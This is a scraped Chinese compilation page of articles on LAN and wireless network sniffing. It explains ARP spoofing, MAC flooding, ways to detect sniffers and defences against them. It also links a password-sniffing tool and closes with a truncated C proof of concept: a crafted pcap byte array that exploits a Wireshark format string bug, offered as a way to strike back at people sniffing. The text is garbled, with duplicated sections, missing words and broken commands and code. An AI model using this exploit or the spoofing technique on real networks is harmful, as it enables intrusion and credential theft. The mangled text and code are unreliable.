局域网嗅探与监听技术

时间:2022-12-07 06:05:14 作者:普通人类 综合材料 收藏本文 下载本文

“普通人类”通过精心收集,向本站投稿了10篇局域网嗅探与监听技术,下面就是小编给大家整理后的局域网嗅探与监听技术,希望您能喜欢!

篇1:局域网嗅探与监听技术

一. 网络日记并不安全

检察员小洁从小就有写日记的习惯,毕业后上了工作岗位也不曾改变,无论工作多忙多累,每天晚上临近睡觉前她总会把今日发生的事情记录进日记本里,例如一些工作问题、心情想法、同事和上级的事情等等,小洁使用的是一个网站提供的网络日记本服务,她很喜欢那个宁静简洁的文字界面,偶尔没任务要忙或者心情不好的时候,她就会用院里的网络上去看自己以前写的日记。

这天小洁和往常一样来到办公室,却发现气氛不同往常了:同事们面对她的时候笑容很不自然,有几个女同事还偷偷对她指指点点的,小洁看过去时她们却又不说话了,她只好竖起耳朵偷听,隐隐约约听到一句“……连别人还欠着50元没还她都写上去,这个人真……”,小洁的脸瞬间变得煞白:这不是她某天的日记内容吗?……

究竟是谁把小洁的日记偷看了呢?你正在使用的局域网,又能真的很安全吗?小洁不知道,大院的局域网里,有一双耳朵正在悄悄的记录着她的电脑上发送和接收的一切信息……

这双耳朵的名词被称为“网络嗅探”(Network Sniffing)或“网络监听”(Network Listening),它并不是最近才出现的技术,也并非专门用在黑道上的技术,监听技术作为一种辅助手段,在协助网络管理员监测网络传输数据、排除网络故障等方面具有不可替代的作用,因此一直倍受网络管理员的青睐并逐渐发展完善,所谓“监听”技术,就是在互相通讯的两台计算机之间通过技术手段插入一台可以接收并记录通讯内容的设备,最终实现对通讯双方的数据记录。一般都要求用作监听途径的设备不能造成通讯双方的行为异常或连接中断等,即是说,监听方不能参与通讯中任何一方的通讯行为,仅仅是“被动”的接收记录通讯数据而不能对其进行篡改,一旦监听方违反这个要求,这次行为就不是“监听”,而是“劫持”(Hijacking)了。

看了以上对于“监听”概念的描述,有人也许已经跃跃欲试了:我有网络,也有电脑,还有网络嗅探工具,那我能不能把某个收费电影站甚至国防部网站的账号密码记录下来呢?当然这也不是不可能,但是前提是你有足够能力在相关站点实体服务器的网关或路由设备上接入一个监听设备,否则凭一台你自己家里的计算机是无法实现的。这就是“监听”的弱点:它要求监听设备的物理传输介质与被监听设备的物理传输介质存在直接联系或者数据包能经过路由选择到达对方,即一个逻辑上的三方连接。能实现这个条件的只有以下情况:

1. 监听方与通讯方位于同一物理网络,如局域网

2. 监听方与通讯方存在路由或接口关系,例如通讯双方的同一网关、连接通讯双方的路由设备等

因此,直接用自己家里的计算机去嗅探国防部网站的数据是不可能的,你看到的只能是属于你自己领域的数据包,那些害怕自己在家里上网被远方的入侵者监听的朋友大可以松口气了(你机器上有安全的情况除外),除非入侵者控制了你的网关设备,但这需要入侵者具有高级的入侵技术,而一个有高级技术的入侵者会稀罕普通家庭用户是的一台计算机吗?

不可否认,“监听”行为是会对通讯方造成损失的,一个典型例子是在1994年的美国网络 事件,一个不知名的人在众多的主机和骨干网络设备上安装了网络监听软件,利用它对美国骨干互联网和军方网窃取了超过100000个有效的用户名和口令,引发了重大损失,而“监听”技术,就是在那次事件以后才从地下走向公开化的,

下面,我们来更深入一层了解如今最常见的网络监听。

二. 活跃在局域网里的“耳朵”们

由于前面说过的原因,嗅探技术不太能在公共网络设备上使用(仅指入侵行为的安装方式,因为网络管理员要在某个路由设备上设置监听是简单的事情),所以当今最普遍的嗅探行为并不是发生在Internet上的,而是各个或大或小的局域网,因为它很显然满足监听技术需要的条件:监听方与通讯方位于同一物理网络。

1.写在前面:局域网内计算机通讯的概念和寻址

要发生监听事件,就必须有至少两台计算机处于通讯状态,而监听的实质也是数据的传输,这就要求 者自身也处于通讯网络中,而实现局域网通讯的基础是以太网模型(Ethernet),它包括物理上的数据传输设备如网卡、集线器和交换机等,除此之外还需要逻辑上的软件、网络协议和操作系统支持,如网卡驱动程序、TCP/IP协议、NetBIOS协议、多种寻址和底层协议等,具备了这些条件,计算机才可以实现完整的通讯过程。

那么局域网内的计算机通讯是怎么进行的呢?计算机系统要传输数据时,是严格按照IEEE802.3标准的局域网协议进行的,而且还要结合TCP/IP和OSI模型7层规范实施,所以数据是经过打包封装的,从高层到低层被分别加上相关数据头和地址,直至物理层把其转化为电平信号传送出去,而另一台计算机则是通过逆向操作把数据还原的,这就引发了一个问题:寻址问题。

在局域网里,计算机要查找彼此并不是通过IP进行的,而是通过网卡MAC地址(也被称为以太网地址),它是一组在生产时就固化的全球唯一标识号,根据协议规范,当一台计算机要查找另一台计算机时,它必须把目标计算机的IP通过ARP协议(地址解析协议)在物理网络中广播出去,“广播”是一种让任意一台计算机都能收到数据的数据发送方式,计算机收到数据后就会判断这条信息是不是发给自己的,如果是,就会返回应答,在这里,它会返回自身地址,这一步被称为“ARP寻址”。当源计算机收到有效的回应时,它就得知了目标计算机的MAC地址并把结果保存在系统的地址缓冲池里,下次传输数据时就不需要再次发送广播了,这个地址缓冲池会定时刷新重建,以免造成数据老旧和错误。当前活动的ARP表可以使用arp –a命令查看。

话题回到数据被打包成为比特流的最后两层,在这里有一个关键部分被称为“数据链路层”,数据在网络层形成IP数据报,再向下到达数据链路层,由数据链路层将IP数据报分割为数据帧,增加以太网包头,再向下一层发送。以太网包头中包含着本机和目标设备的MAC地址,也就是说,链路层的数据帧发送时,是依靠以太网地址而非IP地址来确认的,网卡驱动程序不会关心IP数据报中的目标地址,它所需要的仅仅是MAC地址,而MAC地址就是通过前面提到的ARP寻址获得的。简单的说,数据在局域网内的最终传输目标地址是对方网卡的MAC地址,而不是IP地址,IP地址在局域网里只是为了协助系统找到MAC地址而已。

篇2:局域网嗅探与监听WEB安全

一. 谁偷看了我的网络日记

检察员小洁从小就有写日记的习惯,毕业后上了工作岗位也不曾改变,无论工作多忙多累,每天晚上临近睡觉前她总会把今日发生的事情记录进日记本里,例如一些工作问题、心情想法、同事和上级的事情等等,小洁使用的是一个网站提供的网络日记本服务,她很喜欢那个宁静简洁的文字界面,偶尔没任务要忙或者心情不好的时候,她就会用院里的网络上去看自己以前写的日记。

这天小洁和往常一样来到办公室,却发现气氛不同往常了:同事们面对她的时候笑容很不自然,有几个女同事还偷偷对她指指点点的,小洁看过去时她们却又不说话了,她只好竖起耳朵偷听,隐隐约约听到一句“……连别人还欠着50元没还她都写上去,这个人真……”,小洁的脸瞬间变得煞白:这不是她某天的日记内容吗?……

究竟是谁把小洁的日记偷看了呢?你正在使用的局域网,又能真的很安全吗?小洁不知道,大院的局域网里,有一双耳朵正在悄悄的记录着她的电脑上发送和接收的一切信息……

这双耳朵的名词被称为“网络嗅探”(Network Sniffing)或“网络监听”(Network Listening),它并不是最近才出现的技术,也并非专门用在黑道上的技术,监听技术作为一种辅助手段,在协助网络管理员监测网络传输数据、排除网络故障等方面具有不可替代的作用,因此一直倍受网络管理员的青睐并逐渐发展完善,所谓“监听”技术,就是在互相通讯的两台计算机之间通过技术手段插入一台可以接收并记录通讯内容的设备,最终实现对通讯双方的数据记录。一般都要求用作监听途径的设备不能造成通讯双方的行为异常或连接中断等,即是说,监听方不能参与通讯中任何一方的通讯行为,仅仅是“被动”的接收记录通讯数据而不能对其进行篡改,一旦监听方违反这个要求,这次行为就不是“监听”,而是“劫持”(Hijacking)了。

看了以上对于“监听”概念的描述,有人也许已经跃跃欲试了:我有网络,也有电脑,还有网络嗅探工具,那我能不能把某个收费电影站甚至国防部网站的账号密码记录下来呢?当然这也不是不可能,但是前提是你有足够能力在相关站点实体服务器的网关或路由设备上接入一个监听设备,否则凭一台你自己家里的计算机是无法实现的。这就是“监听”的弱点:它要求监听设备的物理传输介质与被监听设备的物理传输介质存在直接联系或者数据包能经过路由选择到达对方,即一个逻辑上的三方连接。能实现这个条件的只有以下情况:

1. 监听方与通讯方位于同一物理网络,如局域网

2. 监听方与通讯方存在路由或接口关系,例如通讯双方的同一网关、连接通讯双方的路由设备等

因此,直接用自己家里的计算机去嗅探国防部网站的数据是不可能的,你看到的只能是属于你自己领域的数据包,那些害怕自己在家里上网被远方的入侵者监听的朋友大可以松口气了(你机器上有木马的情况除外),除非入侵者控制了你的网关设备,但这需要入侵者具有高级的入侵技术,而一个有高级技术的入侵者会稀罕普通家庭用户的一台计算机吗?

不可否认,“监听”行为是会对通讯方造成损失的,一个典型例子是在1994年的美国网络 事件,一个不知名的人在众多的主机和骨干网络设备上安装了网络监听软件,利用它对美国骨干互联网和军方网窃取了超过100000个有效的用户名和口令,引发了重大损失,而“监听”技术,就是在那次事件以后才从地下走向公开化的。

下面,我们来更深入一层了解如今最常见的网络监听。

二. 活跃在局域网里的“耳朵”们

由于前面说过的原因,嗅探技术不太能在公共网络设备上使用(仅指入侵行为的安装方式,因为网络管理员要在某个路由设备上设置监听是简单的事情),所以当今最普遍的嗅探行为并不是发生在Internet上的,而是各个或大或小的局域网,因为它很显然满足监听技术需要的条件:监听方与通讯方位于同一物理网络。

1.写在前面:局域网内计算机通讯的概念和寻址

要发生监听事件,就必须有至少两台计算机处于通讯状态,而监听的实质也是数据的传输,这就要求 者自身也处于通讯网络中,而实现局域网通讯的基础是以太网模型(Ethernet),它包括物理上的数据传输设备如网卡、集线器和交换机等,除此之外还需要逻辑上的软件、网络协议和操作系统支持,如网卡驱动程序、TCP/IP协议、NetBIOS协议、多种寻址和底层协议等,具备了这些条件,计算机才可以实现完整的通讯过程。

那么局域网内的计算机通讯是怎么进行的呢?计算机系统要传输数据时,是严格按照IEEE802.3标准的局域网协议进行的,而且还要结合TCP/IP和OSI模型7层规范实施,所以数据是经过打包封装的,从高层到低层被分别加上相关数据头和地址,直至物理层把其转化为电平信号传送出去,而另一台计算机则是通过逆向操作把数据还原的,这就引发了一个问题:寻址问题。

在局域网里,计算机要查找彼此并不是通过IP进行的,而是通过网卡MAC地址(也被称为以太网地址),它是一组在生产时就固化的全球唯一标识号,根据协议规范,当一台计算机要查找另一台计算机时,它必须把目标计算机的IP通过ARP协议(地址解析协议)在物理网络中广播出去,“广播”是一种让任意一台计算机都能收到数据的数据发送方式,计算机收到数据后就会判断这条信息是不是发给自己的,如果是,就会返回应答,在这里,它会返回自身地址,这一步被称为“ARP寻址”。当源计算机收到有效的回应时,它就得知了目标计算机的MAC地址并把结果保存在系统的地址缓冲池里,下次传输数据时就不需要再次发送广播了,这个地址缓冲池会定时刷新重建,以免造成数据老旧和错误。当前活动的ARP表可以使用arp Ca命令查看。

话题回到数据被打包成为比特流的最后两层,在这里有一个关键部分被称为“数据链路层”,数据在网络层形成IP数据报,再向下到达数据链路层,由数据链路层将IP数据报分割为数据帧,增加以太网包头,再向下一层发送。以太网包头中包含着本机和目标设备的MAC地址,也就是说,链路层的数据帧发送时,是依靠以太网地址而非IP地址来确认的,网卡驱动程序不会关心IP数据报中的目标地址,它所需要的仅仅是MAC地址,而MAC地址就是通过前面提到的ARP寻址获得的。简单的说,数据在局域网内的最终传输目标地址是对方网卡的MAC地址,而不是IP地址,IP地址在局域网里只是为了协助系统找到MAC地址而已。

而就是因为这个寻址结构,最终导致了监听实现的发生。

那么,发生在Internet上的监听又是怎么进行的呢?Internet并不采用MAC地址寻址,因此不可能发生类似局域网内的监听案例,实际上,Internet上的监听是因为数据必须通过的路由网关路由设备被做了手脚,不属于本文讨论范围。

2.发生在共享式局域网内的

所谓的“共享式”局域网(Hub-Based Lan),指的是早期采用集线器HUB作为网络连接设备的传统以太网的结构,在这个结构里,所有机器都是共享同一条传输线路的,集线器没有端口的概念,它的数据发送方式是“广播”, 集线器接收到相应数据时是单纯的把数据往它所连接的每一台设备线路上发送的,例如一台机器发送一条“我要和小金说话”的报文,那么所有连接这个集线器的设备都会收到这条报文,但是只有名字为“小金”的计算机才会接收处理这条报文,而其他无关的计算机则会“不动声色”的抛弃掉该报文。因此,共享以太网结构里的数据实际上是没有隐私性的,只是网卡会“君子”化的忽略掉与自己无关的“闲言碎语”罢了,但是很不巧,网卡在设计时是加入了“工作模式”的选项的,正是这个特性导致了噩梦。

每块网卡基本上都会有以下工作模式:Unicast、Broadcast、Multicast、Promiscuous,一般情况下,操作系统会把网卡设置为Broadcast(广播)模式,在Broadcast模式下,网卡可以接收所有类型为广播报文的数据帧――例如ARP寻址,此外它会忽略掉目标地址并非自己MAC地址的报文,即只接收发往自身的数据报文、广播和组播报文,这才是网卡的正常工作模式;如果一块网卡被设置为Unicast或Multicast模式,在局域网里可能会引发异常,因为这两个模式限制了它的接收报文类型;而Promiscuous(混杂)模式,则是罪恶的根源。在混杂模式里,网卡对报文中的目标MAC地址不加任何检查而全部接收,这样就造成无论什么数据,只要是路过的都会被网卡接收的局面,监听就是从这里开始的。

一般情况下,网卡的工作模式是操作系统设置好的,而且没有公开模式给用户选择,这就限制了普通用户的监听实现,但是自从嗅探器(Sniffer)家族发展到一定程度后,开始拥有了设置网卡工作模式的权力,而且矛头直指Promiscuous,任何用户只要在相应选择上打个勾,他的机器就变成了可以记录局域网内任何机器传输的数据的耳朵,由于共享式局域网的特性,所有人都是能收到数据的,这就造成了不可防御的信息泄漏。

可是,最终这种监听方式还是被基本消灭了,人们用了什么手段呢?很简单,局域网结构升级了,变成“交换式局域网”。

但是魔高一丈,若干年后,监听再次卷土重来。

3.发生在交换式局域网内的

作为与“共享式”相对的“交换式”局域网(Switched Lan),它的网络连接设备被换成了交换机(Switch),交换机比集线器聪明的一点是它连接的每台计算机是独立的,交换机引入了“端口”的概念,它会产生一个地址表用于存放每台与之连接的计算机的MAC地址,从此每个网线接口便作为一个独立的端口存在,除了声明为广播或组播的报文,交换机在一般情况下是不会让其他报文出现类似共享式局域网那样的广播形式发送行为的,这样即使你的网卡设置为混杂模式,它也收不到发往其他计算机的数据,因为数据的目标地址会在交换机中被识别,然后有针对性的发往表中对应地址的端口,决不跑到别人家里去。

这一改进迅速扼杀了传统的局域网监听手段,但是历史往往证明了人是难以被征服的……

(1).对交换机的攻击:MAC洪水

不知道是谁第一个发现了这种攻击模式,大概是因为交换机的出现破坏了嗅探器的工作,所以一肚子气泄到了交换机身上,另一种看法则是精明的技术人员设想交换机的处理器在超过所能承受信息量的时候会发生什么情况而进行的试验,无论是从什么论点出发的,至少这个攻击模式已经成为现实了:所谓MAC洪水攻击,就是向交换机发送大量含有虚假MAC地址和IP地址的IP包,使交换机无法处理如此多的信息而引起设备工作异常,也就是所谓的“失效”模式,在这个模式里,交换机的处理器已经不能正常分析数据报和构造查询地址表了,然后,交换机就会成为一台普通的集线器,毫无选择的向所有端口发送数据,这个行为被称作“泛洪发送”,这样一来攻击者就能嗅探到所需数据了,

不过使用这个方法会为网络带来大量垃圾数据报文,对于监听者来说也不是什么好事,因此MAC洪水使用的案例比较少,而且设计了端口保护的交换机可能会在超负荷时强行关闭所有端口造成网络中断,所以如今,人们都偏向于使用地址解析协议ARP进行的欺骗性攻击。

(2).地址解析协议带来的噩梦

回顾前面提到的局域网寻址方式,我们已经知道两台计算机完成通讯依靠的是MAC地址而与IP地址无关,而目标计算机MAC地址的获取是通过ARP协议广播得到的,而获取的地址会保存在MAC地址表里并定期更新,在这个时间里,计算机是不会再去广播寻址信息获取目标MAC地址的,这就给了入侵者以可乘之机。

当一台计算机要发送数据给另一台计算机时,它会以IP地址为依据首先查询自身的ARP地址表,如果里面没有目标计算机的MAC信息,它就触发ARP广播寻址数据直到目标计算机返回自身地址报文,而一旦这个地址表里存在目标计算机的MAC信息,计算机就直接把这个地址作为数据链路层的以太网地址头部封装发送出去。为了避免出现MAC地址表保持着错误的数据,系统在一个指定的时期过后会清空MAC地址表,重新广播获取一份地址列表,而且新的ARP广播可以无条件覆盖原来的MAC地址表。

假设局域网内有两台计算机A和B在通讯,而计算机C要作为一个 者的身份得到这两台计算机的通讯数据,那么它就必须想办法让自己能插入两台计算机之间的数据线路里,而在这种一对一的交换式网络里,计算机C必须成为一个中间设备才能让数据得以经过它,要实现这个目标,计算机C就要开始伪造虚假的ARP报文。

ARP寻址报文分两种,一种是用于发送寻址信息的ARP查询包,源机器使用它来广播寻址信息,另一种则是目标机器的ARP应答包,用于回应源机器它的MAC地址,在 存在的情况下,如果计算机C要 计算机A的通讯,它就伪造一个IP地址为计算机B而MAC地址为计算机C的虚假ARP应答包发送给计算机A,造成计算机A的MAC地址表错误更新为计算机B的IP对应着计算机C的MAC地址的情况,这样一来,系统通过IP地址获得的MAC地址都是计算机C的,数据就会发给以监听身份出现的计算机C了。但这样会造成一种情况就是作为原目标方的计算机B会接收不到数据,因此充当假冒数据接收角色的计算机C必须担当一个转发者的角色,把从计算机A发送的数据返回给计算机B,让两机的通讯正常进行,这样,计算机C就和计算机AB形成了一个通讯链路,而对于计算机A和B而言,计算机C始终是透明存在的,它们并不知道计算机C在偷听数据的传播。只要计算机C在计算机A重新发送ARP查询包前及时伪造虚假ARP应答包就能维持着这个通讯链路,从而获得持续的数据记录,同时也不会造成被监听者的通讯异常。

计算机C为了监听计算机A和B数据通讯而发起的这种行为,就是“ARP欺骗”(ARP Spoofing)或称“ARP攻击”(ARP Attacking),实际上,真实环境里的ARP欺骗除了嗅探计算机A的数据,通常也会顺便把计算机B的数据给嗅探了去,只要计算机C在对计算机A发送伪装成计算机B的ARP应答包的同时也向计算机B发送伪装成计算机A的ARP应答包即可,这样它就可作为一个双向代理的身份插入两者之间的通讯链路。

三. 围堵“耳朵”:局域网监听的防御

知道了局域网监听的实现,我们就不难重现开篇提及的检察员小洁的日记内容是如何被别人看到的了:虽然办公室的网络是交换式局域网,但是 者使用ARP欺骗工具篡改了小洁机器的MAC地址表,使小洁的机器发出的数据实际上是在 者机器里走一圈后才真正发送出去的,这时候只要小洁登录任何使用明文传输密码的网页表单,她输入的网址、用户名和密码就会被嗅探软件记录下来, 者只要使用这个密码登录网站,就可以把小洁写在日记本上的隐私一览无余了。

由此可见,由网络监听引发的信息泄漏后果是非常严重的,轻则隐私泄漏,重则因为银行密码、经过网络传输的文档内容失窃而导致无法计量的经济损失,因此,如何有效防止局域网监听,一直是令管理员操心的问题。

由于共享式局域网的局限性(集线器不会选择具体端口),在上面流通的数据基本上是“你有,我也有”的, 者连ARP信息都不需要更改,自然无法躲过被监听的命运,要解决这个问题,只能先把集线器更换为交换机,杜绝这种毫无隐私的数据传播方式。

好了,现在我们换到交换式局域网了,下一步,就该开始着手围堵这些不受欢迎的耳朵们了。

1.寻找隐匿的耳朵

如果我们怀疑某台机器在偷听数据,应该怎么办呢?

早在几年前,有一种被称为ping检测的方法就已经开始流行了,它的原理还是利用MAC地址自身,大部分网卡允许用户在驱动程序设置里自行指定一个MAC地址(特别说明:这种通过驱动程序指定的MAC地址仅仅能用于自身所处的局域网本身,并不能用于突破远程网关的MAC+IP绑定限制!),因此我们就可以利用这一特性让正在欺骗MAC地址的机器自食其果。

•假设IP为192.168.1.4的机器上装有ARP欺骗工具和嗅探器,所以ping 192.168.1.4,然后arp Ca | find “192.168.1.4” 得到它的MAC地址“00-00-0e-40-b4-a1”

•修改自己的网卡驱动设置页,改Network Address为“00000e40b4a2”,即去掉分隔符的MAC地址最末位加1

•再次ping 192.168.1.4,正常的话应该不会看到任何回应,因为局域网中不会存在任何与“00-00-0e-40-b4-a2”相符的MAC地址。

•如果看到返回,则说明192.168.1.4很可能装有嗅探器。

另一种比较“恶毒”的方法是对被怀疑安装了嗅探器的计算机发送大量不存在的MAC地址的数据报,由于监听程序在进行分析和处理大量的数据包需要占用很多的CPU资源,这将导致对方计算机性能下降,这样我们只要比较发送报文前后该机器性能就能加以判断,但是如果对方机器配置比较高,这个方法就不太有效了。

除了主动嗅探的行为,还有一些机器是被入侵者恶意种植了带有嗅探功能的后门程序,那么我们就必须使用本机测试法了,其原理是建立一个原始连接(Raw Socket)打开自己机器的随机端口,然后再建立一个UDP连接到自己机器的任意端口并随意发送一条数据,正常情况下,这个方法建立的原始连接是不可能成功接收数据的,如果原始连接能接收这个数据,则说明机器网卡正处于“混杂”模式――嗅探器经常这么干,接下来的事情就不用我说了吧?

但是基本上没找到现成的工具可以使用,也可能是我的查找能力问题,但是其实这个问题很好解决:因为安装了嗅探器的机器是能接收到任何数据的,那么只要在这个机器上再次安装一个嗅探软件(不是ARP欺骗类型!)就能“共享”捕获的数据,正常情况下我们是只能看到属于自己IP的网络数据的,如果不巧发现嗅探器把其它计算机的数据也顺手牵羊了,并且由于ARP欺骗的存在,我们还可能嗅探到自己的计算机会定期发送一条ARP应答包出去……既然都做得那么明显了,那就不要客气把它灭了……

2.预防为主――从根本上防御网络监听

虽然利用ARP欺骗报文进行的网络监听很难察觉,但它并不是无法防御的,与ARP寻址相对的,在一个相对稳定的局域网里(机器数量和网卡被更换的次数不多,也没有人一没事干就去更改自己IP),我们可以使用静态ARP映射,即记录下局域网内所有计算机的网卡MAC地址和对应的IP,然后使用“arp Cs IP地址 MAC地址”进行静态绑定,这样计算机就不会通过ARP广播来找人了,自然不会响应ARP欺骗工具发送的动态ARP应答包(静态地址的优先度大于动态地址),但是这个方法存在的劣势就是对操作用户要求挺高,要知道并不是所有人都理解MAC地址是干什么用的,另外一点就是如果机器数量过多或者变动频繁,会对操作用户(通常是网络管理员)造成巨大的心灵伤害……

因此,一般常用的方法是使用软件防御,例如Anti Arp Sniffer,它可以强行绑定本机与网关的MAC关系,让伪装成网关获取数据的监听机成了摆设,而如果是监听者仅仅欺骗了某台计算机的情况呢?这就要使用ARP Watch了,ARP Watch会实时监控局域网中计算机MAC地址和ARP广播报文的变化情况,如果有ARP欺骗程序发送虚假地址报文,必然会造成MAC地址表不符,ARP Watch就会弹出来警告用户了。

此外,对网络进行VLAN划分也是有效的方法,每个VLAN之间都是隔离的,必须通过路由进行数据传输,这个时候MAC地址信息会被丢弃,每台计算机之间都是采用标准TCP/IP进行数据传输的,即使存在嗅探器也无法使用虚假的MAC地址进行欺骗了。

四. 结语

网络监听技术作为一种工具,总是扮演着正反两方面的角色,尤其在局域网里更是经常以黑暗的身份出现。对于入侵者来说,通过网络监听可以很容易地获得用户的关键信息,因此他们青睐。而对于入侵检测和追踪者来说,网络监听技术又能够在与入侵者的斗争中发挥重要的作用,因此他们也离不开必要的嗅探。我们应该努力学习网络安全知识,进一步挖掘网络监听技术的细节,扎实掌握足够的技术基础,才能在与入侵者的斗争中取得胜利。

示意图(点击放大):

篇3:无线局域网防范策略 无线局域网嗅探技术

如何学习无线局域网嗅探技术,网络上有不少的方法,下面是学习方法的一个集锦,希望对广大爱好者有帮助,都是比较常用的方式,借机提供给大家。

无线局域网(WLAN)因其安装便捷、组网灵活的优点在许多领域获得了越来越广泛的应用,但由于它传送的数据利用无线电波在空中传播,发射的数据可能到达预期之外的接收设备,因而WLAN存在着网络信息容易被窃取的问题。

在网络上窃取数据就叫嗅探,它是利用计算机的网络接口截获网络中数据报文的一种技术。嗅探一般工作在网络的底层,可以在不易被察觉的情况下将网络传输的全部数据记录下来,从而捕获账号和口令、专用的或机密的信息,甚至可以用来危害网络邻居的安全或者用来获取更高级别的访问权限、分析网络结构进行网络渗透等。

WLAN中无线信道的开放性给网络嗅探带来了极大的方便。在WLAN中网络嗅探对信息安全的威胁来自其被动性和非干扰性,运行监听程序的主机在 的过程中只是被动的接收网络中传输的信息,它不会跟其它的主机交换信息,也不修改在网络中传输的信息包,使得网络嗅探具有很强的隐蔽性,往往让网络信息泄密变得不容易被发现。

尽管它没有对网络进行主动攻击和破坏的危害明显,但由它造成的损失也是不可估量的。只有通过分析网络嗅探的原理与本质,才能更有效地防患于未然,增强无线局域网的安全防护能力。

无线局域网嗅探技术原理

要理解网络嗅探的实质,首先要清楚数据在网络中封装、传输的过程。根据TCP/IP协议,数据包是经过层层封装后,再被发送的。假设客户机A、B和FTP服务器C通过接入点(AP)或其他无线连接设备连接,主机A通过使用一个FTP命令向主机C进行远程登录,进行文件下载。

那么首先在主机A上输入登录主机C的FTP口令,FTP口令经过应用层FTP协议、传输层TCP协议、网络层IP协议、数据链路层上的以太网驱动程序一层一层包裹,最后送到了物理层,再通过无线的方式播发出去。

主机C接收到数据帧,并在比较之后发现是发给自己的,接下来它就对此数据帧进行分析处理。这时主机B也同样接收到主机A播发的数据帧,随后就检查在数据帧中的地址是否和自己的地址相匹配,发现不匹配就把数据帧丢弃。这就是基于TCP/IP协议通信的一般过程。

无线局域网嗅探技术就是从通信中捕获和解析信息。假设主机B想知道登陆服务器C的FTP口令是什么,那么它要做的就是捕获主机A播发的数据帧,对数据帧进行解析,依次剥离出以太帧头、IP包头、TCP包头等,然后对报头部分和数据部分进行相应的分析处理,从而得到包含在数据帧中的有用信息。

在实现嗅探时,首先设置用于无线局域网嗅探技术的计算机,即在嗅探机上装好无线网卡,并把网卡设置为混杂模式,

在混杂模式下,网卡能够接收一切通过它的数据包,进而对数据包解析,实现数据 。其次实现循环抓取数据包,并将抓到的数据包送入下一步的数据解析模块处理。最后进行数据解析,依次提取出以太帧头、IP包头、TCP包头等,然后对各个报头部分和数据部分进行相应的分析处理。

无线局域网嗅探技术相应防范策略

尽管嗅探隐蔽而不易被察觉,但并不是没有防范方法,下面的策略都能够防范无线局域网嗅探技术。

◆加强网络访问控制。一种极端的手段是通过房屋的电磁屏蔽来防止电磁波的泄漏,通过强大的网络访问控制可以减少无线网络配置的风险。同时配置勘测工具也可以测量和增强AP覆盖范围的安全性。虽然确知信号覆盖范围可以为WLAN安全提供一些有利条件,但这并不能成为一种完全的网络安全解决方案。攻击者使用高性能天线仍有可能在无线网络上嗅探到传输的数据。

◆网络设置为封闭系统。为了避免网络被NetStumbler之类的工具发现,应把网络设置为封闭系统。封闭系统是对SSID标为“any”的客户端不进行响应,并且关闭网络身份识别的广播功能的系统。它能够禁止非授权访问,但不能完全防止被无线局域网嗅探技术。

◆采用可靠的协议进行加密。如果用户的无线网络是用于传输比较敏感的数据,那么仅用WEP加密方式是远远不够的,需要进一步采用像电子邮件连接的SSL方式。它是一个介于HTTP协议与TCP协议之间的可选层,SSL是在TCP之上建立了一个加密通道,对通过这一层的数据进行加密,从而达到保密的效果。

使用安全Shell而不是Telnet也是必不可少的。SSH是一个在应用程序中提供安全通信的协议。连接是通过使用一种来自RSA的算法建立的。在授权完成后,接下来的通信数据是用IDEA技术来加密的。

SSH后来发展成为F-SSH,提供了高层次的、军方级别的对通信过程的加密。它为通过TCP/IP网络通信提供了通用的最强的加密。目前,还没有人突破过这种加密方法。无线局域网嗅探技术到的信息自然将不再有任何价值。此外,使用安全拷贝而不是用文件传输协议也可以加强数据的安全性。

一次性口令技术。通常的计算机口令是静态的,极易被网上嗅探窃取。采用S/key一次性口令技术或其它一次性口令技术,能使 账号信息失去意义。S/key的原理是远程主机已得到一个口令(这个口令不会在不安全的网络中传输)。

当用户连接时会获得一个“质询”信息,用户将这个信息和口令经过某个算法运算,产生一个正确的“响应”信息(如果通信双方口令正确的话)。这种验证方式无需在网络中传输口令,而且相同的“质询/响应信息”也不会出现两次。

无线局域网嗅探技术实现起来比较简单,特别是借助良好的开发环境,可以通过编程轻松实现预期目的,但防范嗅探却相当困难。目前还没有一个切实可行、一劳永逸的方法。在尽量实现上面提到的安全措施外,还应注重不断提高网管人员的安全意识,做到多注意、勤检查。

篇4:局域网探嗅工具 sniffer

局域网sniffer工具! SniffPass - Password SnifferListen to your network, and capture POP3, IMAP4, SMTP, FTP, and HTTP (basic authentication) passwords!

下载地址: 局域网探嗅工具 sniffer

篇5:对付局域网嗅探的人,这个有点意思

作者:friddy

如有人在用wireshark嗅探,就播放这个数据

/*

################## THCX #######################################

# Wireshark <= 1.0.6 PN-DCP format string bug POC

###############################################################

# [!] autore: THCX Labs

# [!] PN-DCP eithor standalone or tunneld thru DCE/RPC

# [!] local open of pcapfile also working

###############################################################

*/

#include

#include

#include

char sploit[]=

“xd4xc3xb2xa1x02x00x04x00x00x00x00x00x00x00x00x00xffxffx00x00x01x00x00x00”

“x96x2cx8fx47x97xaax0dx00x22x00x00x00x22x00x00x00x00x02xe3x17xc7x50x00x80”

“xc8x38xa4x8bx81x00x00x00x88x92xfexfex05x00x01x00x00x01x00x01x00x04xffxff”

“x00x00x96x2cx8fx47x96xaex0dx00xd6x00x00x00xd6x00x00x00x00x80xc8x38xa4x8b”

“x00x02xe3x17xc7x50x81x00x00x00x88x92xfexffx05x01x01x00x00x01x00x00x00xb8”

“x02x05x00x10x00x00x02x01x02x02x02x03x02x04x02x05x01x01x01x02x02x01x00x0a”

“x00x00x53x37x2dx33x30x30x45x43x02x02x00x6ex00x00x25x6ex25x6ex25x6ex20x00”

“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”

“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”

“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”

“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”

“x00x00x00x00x02x03x00x06x00x00x00x2ax01x01x02x04x00x04x00x00x02x00x01x02”

“x00x0ex00x01xc0xa8x00x0bxffxffxffx00xc0xa8x00x0bx97x2cx8fx47xf2xd0x0ex00”

“x32x00x00x00x32x00x00x00x00x02xe3x17xc7x50x00x80xc8x38xa4x8bx81x00x00x00”

“x88x92xfexfdx04x00x01x00x00x01x00x00x00x14x02x02x00x09x00x01x25x6ex25x6e”

“x25x6ex20x00x05x02x00x02x00x00x97x2cx8fx47x82xd2x0ex00x40x00x00x00x40x00”

“x00x00x00x80xc8x38xa4x8bx00x02xe3x17xc7x50x81x00x00x00x88x92xfexfdx04x01”

“x01x00x00x01x00x00x00x10x05x04x00x03x02x02x00x00x05x04x00x03x05x02x00x00”

“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”;

int main{

FILE *fh;

int r;

fh=fopen(“formatstringbug.pcap”,“wb”);

